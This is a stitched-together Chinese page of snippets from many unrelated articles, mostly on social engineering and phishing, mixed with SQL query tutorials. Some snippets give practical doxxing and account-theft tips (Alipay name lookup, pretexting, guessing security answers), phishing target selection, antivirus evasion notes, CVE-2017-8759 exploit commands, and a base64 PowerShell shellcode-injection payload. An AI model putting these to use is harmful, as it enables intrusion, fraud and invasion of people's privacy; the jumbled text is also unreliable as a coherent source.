本篇文章意在介绍一些社工常用的调查手段,目的是帮助大家提高警惕,保护好自身的安全 ? 一、支付宝查询姓名 最终社工手法我想是极为常见的一种方式,它的先决条件是获取到对方电话,电话号已注册支付宝。...方式很简单,只需要选择转账输入大额转账,就会弹出对方姓名,除去姓氏的验证方式,嗯,这时你可以进行简单的猜解,或进行短信伪装调查 二、空间朋友圈查询信息 这个方式通常是使用最多的,也是最简单的,同时也是最难分析的...你只需找一名私家侦探划伤两三百即可查找户籍,此法唯一的问题是可能遇到骗子,所以一般情况不建议使用 四、伪装调查 这种方式是最为实用的,成功率相对较高的方式,面对我们所需的各类信息,我们时常会缺少关键点,导致无法沿着线索向下继续查询...电话甚至家庭情况等,我们只要准备那家店的广告单,或是开设一个虚拟的网站 分析上述内容角色的选择,最好是选择目标,有需要的角色或是对方经常接触社会常见的角色,这样才更容易上手 本篇文章简单介绍了几种常见的社工方式
社工,全程为社会工程学,起源于凯文·米特尼克的《反欺骗的艺术》, 书中提到人为因素才是安全的软肋。很多企业、公司在信息安全上投入大量的资金,最终导致数据泄露的原因,往往却是发生在人本身。...你们可能永远都想象不到,对于黑客们来说,通过一个用户名、一串数字、一串英文代码,社会工程师就可以通过这么几条的线索,通过社工攻击手段,加以筛选、整理,就能把你的所有个人情况信息、家庭状况、兴趣爱好、婚姻状况...盗号,盗游戏号,key数据,社工等等。。。这些需要的不只是所谓的软件,更要有灵活的思维。当你只是永远想着别人的思维,那你永不不会有自己的一套思维、技巧。...盗号 ,一般社工、单反、干信,社工这个以后再说。单反与干信,基本相同。...第二,代理他那个地方IP,成功率增加绑定手机号码,这个,你打开它邮箱,在账户里面可以直接获取完整的,手机号码,密保当你 不知道时,填他爸爸妈妈的名字这些,在这里告诉大家一个诀窍,这是一个社工帝,曾经告诉我的
我是五行 这次带来的是 社工的心理学的欺骗思路 也是社工第二课 在十年面前社过不下百个人的资料!...在很多兄弟面前用到了社工 好了不贫了 有可能社工让我在网络上混到现在 第一个思路: 虽然万人骑,但是很实用:刷钻、刷枪、刷qq等级、刷qq下面的游戏图标,骗到密码把网名跟个性改了截图,发空间里...社工帝玩的心理,玩的就是欺骗。
WiFi-Pumpkin是一款专用于无线环境渗透测试的框架,该工具可以伪造AP以完成中间人攻击,同时也可以用来监听目标的流量数据,通过无线钓鱼的方式来捕获不知情...
安装beef-xss:apt install beef-xss 安装完成之后运行beef-xss:
前言: 这里使用一款比较简易好用的社工钓鱼工具,做一下使用笔记 正文: 首先我们安装一下环境,这里如果你的kali比较老可能需要更新一下python环境,不然会启动失败。
文章前言 本篇文章主要介绍如何通过利用Adobe Flash Player的漏洞进行社工钓鱼,该漏洞目前已被修复,在实战中利用已不太奏效,仅作为学习 钓鱼实践 影响范围 Adobe Flash Player
前言 穷则社工钓鱼,达则0day炸场-微步在线,借用微步公众号的一句话,没有后端资源支持的情况下,社工钓鱼必学技能,毕竟正面打不动,代码审不动,0day又没有是日常,下文讲解自己对于社工钓鱼的思路。...上线后的操作 参考L33h0m师傅的文章分享我的CS钓鱼流程导图(权限维持+信息收集+后渗透阶段) 总结 本文讲解了我对社工钓鱼的基本流程,偏向于思路,师傅们有其他思路欢迎在评论区留言,学习交流。
Office宏,译自英文单词Macro,宏是微软公司为其OFFICE软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作...
LNK文件是一种用于指向其他文件的特殊文件,这些文件通常也被称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用, LNK钓鱼主要将图标伪装成正...
HTA是指HTML Application,它是一种基于HTML和JavaScript的Windows应用程序格式。HTA文件扩展名为".hta",在Windo...
据加拿大皇家骑警(RCMP)称,现年27岁的Jordan Evan Bloom是臭名昭著的社工库网站LeakedSource的背后运营者。...它是一个专门收集数据库的网站,这些数据通常来自公共数据泄露事件。 根据加拿大皇家骑警的说法,该网站收集的数据库超过了几百个,密码数量超过31亿。...该网站主要靠通过销售包含账户密码的数据库来盈利,但这不是全部。网站不但销售数据库数据,还提供密码破解服务。换句话来讲,虽然你的密码并不是以明文形式泄露的,但该网站会把你的密码破解出来。
社会工程学(Social Engineering)简称社工,其通过分析攻击对象的心理弱点,利用人性的本能反应,以及任何好奇心,贪婪等心理特征进行的,使用诸如假冒,欺骗,引诱等多种手段来达成攻击目标的一种手段...,社会工程学的应用领域非常之广泛,而很多黑客也会将社工运用到渗透的方方面面,社工也被称为没有技术,却比技术更强大的渗透方式,正所谓 “攻城为下,攻心为上” 这句话用在社工上面是最恰当不过的啦。...Kennedy (ReL1K)设计并开发,并且有一群活跃的社区合作进行维护工作(www.social-engineer.org),该工具包是开源的并使用Python作为开发语言,其主要目的是协助黑客更好的进行社工活动...PowerShell 注入攻击 社工工具包中包含一个PowerShell注入攻击的有效载荷,适用于 Win7 - Win10系统使用,因为PowerShell脚本可以很容易的将ShellCode注入到目标的物理内存中...JABOAHgAIAA9ACAAJwAkAEsAcwAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAa'" 6.回到Kali,会发现出现了一个会话,使用 sessions -i 查询
社工钓鱼细节技巧 钓鱼对象 1、hr、经理、财务 等安全意识薄弱的人,避开信息安全部 如何搜集邮箱信息?...如果知道对方杀软没有360这种,可通过空格和长文件命名 免杀及捆绑文件 自写工具介绍 杀软特性 杀软类型 免杀绕过技巧 火绒 编译参数限制多,对hash和字符串特征进行识别,静态能过动态基本不查杀,对很多go库调用报毒
数据库-多表查询-连接查询 同时查询多张表获取到需要的数据 比如:我们想查询到开发部有多少人,需要将部门表和员工表同时进行查询 多表查询的分类: 准备数据 -- 创建部门表 create table...-- 只查询一张表不能查询出员工名字和部门名字,需要使用多表操作 select * from emp, dept; 完成多表操作的两种方式: 表连接 子查询 1....,显示员工id,姓名,性别,工资和所在的部门名称 确定查询哪些表 确定表连接条件,员工表.dept_id = 部门表.id 的数据才是有效的 确定查询条件,我们查询的是唐僧的信息,员工表.name='唐僧...联合查询 Union (Mysql 支持) Mysql 为了查询所有表的关联数据,可以将左右连接的查询 联合一起来执行。...语法格式: -- 使用union联合合并左右外连接的查询结果,就是相当于全外连接查询了。
pydictor/blob/master/README_CN.md https://github.com/LandGrey/pydictor/blob/master/docs/doc/usage.md (3) 社工字典...最后的社工字典,我要重点说一下,这个是我比较喜欢的功能,在渗透测试中非常有用。...社工字典的方式,通过我们输入目标的一些信息,可以针对这个目标生成定制化的字典。
数据库查找方式进阶 一.单表查询 1.查看表单选择段落 1.disinct 所有内容去重:select disinct * from 表名称; 指定字段去重:select disinct 字段 from..........) as 新名字 2.in关键字查询 "查询平均年龄大于25的部门名称 子查询方式: 平均年龄大于25的部门id有哪些?...筛选出平均年龄大于25的部门id 拿着部门id 去查询部门表查询" select name from dept where id in (select dept_id from emp group...on emp.dept_id = dept.id group by dept.name having avg(age) >25; 3.exists关键字查询 xists 后跟子查询 子查询有结果是为...既然是表就能链接起来 #综合练习: "查询每个部门工资最高的员工信息 先查询每个部门的最高工资 将查询结果与员工表联合起来 在加条件判断部门id相同并且 最高工资相同 则显示" select *from
内连接:内连接也叫连接,还可以被称为普通连接或者自然连接,内连接是从结果表中删除与其他被连接表中没有匹配行的所有行,所以内连接可能会丢失信息。由于两表之间没有相...
嵌套查询 1. 概述 2. 普通子查询 2.1. 子查询执行后返回一个值时,可在子查询与父查询之间用比较运算符连接 2.2....概述 在 SQL 中,一个形如 SELECT-FROM-WHERE的语句称为一个查询快;当一个查询块存在于另一个查询块的 WHERE子句或 HAVING子句中时,称前一个查询块为子查询,称包含它的查询块为父查询或外部查询...; 采用子查询的查询称为嵌套查询,嵌套查询可将多个简单的查询构造成一个复杂的查询,体现了 SQL 强大的查询能力; 嵌套查询在执行时由内向外处理语句,因为处理父查询时要用到子查询的查询结果,所以子查询的处理要先于它的父查询...普通子查询 普通子查询指子查询可独立完成的查询,它的执行过程为:先执行子查询,然后将子查询的结果用于构造父查询的查询条件,再由父查询根据查询条件确定结果集合; 普通子查询一般可分为如下两种: 2.1....相关子查询 相关子查询指子查询的查询条件需要引用父查询中相关属性值的查询,是特殊的嵌套查询; 这类查询在执行时,先选取父查询中的数据表的第一个元组,内部的子查询对其中的先关属性值进行查询,再由父查询根据子查询返回的结果判断是否满足查询条件
Office文档进行了分析,并发现攻击者能够利用代码注入方式下载并执行一份包含PowerShell指令的Visual Basic脚本,黑客在Offcie文档中嵌入新的Moniker对象,利用的是.net库漏洞...,在Office文档中加载执行远程的恶意.NET代码 社工钓鱼 Step 1:利用cve-2017-8759_toolkit.py文件生成一个恶意rtf文件 python cve-2017-8759_toolkit.py...IP> Step 2:启动服务托管载荷 python3 exploit.py host 80 Step 4:将out文件夹下的word发送给受害者用户点击,之后成功弹出计算器 请求记录如下: 社工钓鱼...之后成功获取到Shell 文末小结 本篇文章对Office钓鱼进行了简单介绍,从上面可以发现在Office钓鱼中大部分情况都需要用户进行交互,例如:点击启用宏或者更新数据文档,这无疑会增加用户的怀疑,在社工钓鱼中药特别注意
领取专属 10元无门槛券
手把手带您无忧上云